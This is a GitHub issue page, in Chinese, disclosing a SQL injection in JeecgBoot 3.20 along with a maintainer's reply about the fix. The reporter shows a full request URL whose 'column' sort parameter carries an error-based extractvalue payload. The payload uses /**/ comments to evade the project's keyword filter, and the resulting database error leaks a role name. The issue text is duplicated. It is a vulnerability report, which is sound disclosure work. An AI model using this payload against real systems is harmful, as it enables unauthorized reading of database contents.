We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
SQL注入 select//查询内容//limit/**/1,1
在SqlInjectionUtil#filterContent方法中,针对select的拦截是带有空格的“select ”,因为filterContent方法在检查前过滤了 "/\.\*/"的replaceAll
/sys/user/list?_t=1651901840&column=extractvalue(rand(),concat(0x7e,substring((select/**/concat(role_name)/**/from/**/sys_role/**/limit/**/1,1),1,3)))&order=desc&pageNo=1&pageSize=10
\r\n### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~阎王'\r\n### The error may exist in org/jeecg/modules/system/mapper/SysUserMapper.java (best guess)\r\n### The error may involve defaultParameterMap\r\n### The error occurred while setting parameters\r\n### SQL: SELECT id,username FROM sys_user WHERE del_flag=0 AND (username <> ?) ORDER BY extractvalue(rand(),concat(0x7e,substring((select/**/concat(role_name)/**/from/**/sys_role/**/limit/**/1,1),1,3))) DESC LIMIT ?,?\r\n### Cause: java.sql.SQLException: XPATH syntax error: '~阎王'\n; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~阎王'; nested exception is java.sql.SQLException: XPATH syntax error: '~阎王'",
如上所述, 当filterContent拦截时,会将 select后面的替换掉,逃过此方法的检查,在抛错信息中,展示注入SQL查询到的内容
The text was updated successfully, but these errors were encountered:
ty
Sorry, something went wrong.
实际测试效果是:druid对于该sql的检测就不会通过,然后是jsqlparse对于该SQL也无法通过,所以都无法走到执行sql语句的那一步,但是也确实有问题,对于排序的字段没有作校验确定是否属于该实体,已修改!
No branches or pull requests
版本号:3.20
问题描述:基于MySQL8的数据库,使用生成的后台代码
SQL注入 select//查询内容//limit/**/1,1
截图&代码:
在SqlInjectionUtil#filterContent方法中,针对select的拦截是带有空格的“select ”,因为filterContent方法在检查前过滤了
"/\.\*/"的replaceAll
select查询注入的示例
完整请求地址
结果
\r\n### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~阎王'\r\n### The error may exist in org/jeecg/modules/system/mapper/SysUserMapper.java (best guess)\r\n### The error may involve defaultParameterMap\r\n### The error occurred while setting parameters\r\n### SQL: SELECT id,username FROM sys_user WHERE del_flag=0 AND (username <> ?) ORDER BY extractvalue(rand(),concat(0x7e,substring((select/**/concat(role_name)/**/from/**/sys_role/**/limit/**/1,1),1,3))) DESC LIMIT ?,?\r\n### Cause: java.sql.SQLException: XPATH syntax error: '~阎王'\n; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~阎王'; nested exception is java.sql.SQLException: XPATH syntax error: '~阎王'",
如上所述, 当filterContent拦截时,会将 select后面的替换掉,逃过此方法的检查,在抛错信息中,展示注入SQL查询到的内容
友情提示(为了提高issue处理效率):
The text was updated successfully, but these errors were encountered: